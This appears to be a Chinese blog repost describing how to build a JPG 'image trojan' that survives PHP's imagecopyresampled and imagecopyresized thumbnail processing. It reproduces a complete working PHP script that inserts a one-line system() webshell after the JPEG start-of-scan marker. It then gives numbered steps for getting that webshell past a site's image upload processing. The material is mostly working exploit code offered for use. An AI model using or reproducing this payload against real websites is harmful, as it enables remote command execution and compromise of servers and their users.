突破php的imagecopyresampled 和imagecopyresized 实现图片马JPG
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突破php的imagecopyresampled 和imagecopyresized 实现图片马JPG
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編輯器加載中...之前有人發布了 利用PNG 圖片上述壓縮函數的方法 原理利用 PNG的結構IDAT chunks填充一句話webshell,并進行一套取模運算 詳見: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ 但是受限于 圖像的尺寸 必須320×320 且必須是PNG格式 那JPG怎么辦 神奇的老外 提出了列方法 <?php /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: php jpg_payload.php In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = '=system($_GET[c]);?>'; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php '); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?> http://pastebin.com/3cznqi8P 具體方法 時: 1. 你先要 上傳你想要構造的圖片馬原片 2. 等網站生成完縮略圖下載下來 3. 用上述腳本 生成帶圖片的 木馬 4. 重新上傳到網站 結束 這個也要看運氣成分
轉載于:https://www.cnblogs.com/heikeboys/p/3356447.html
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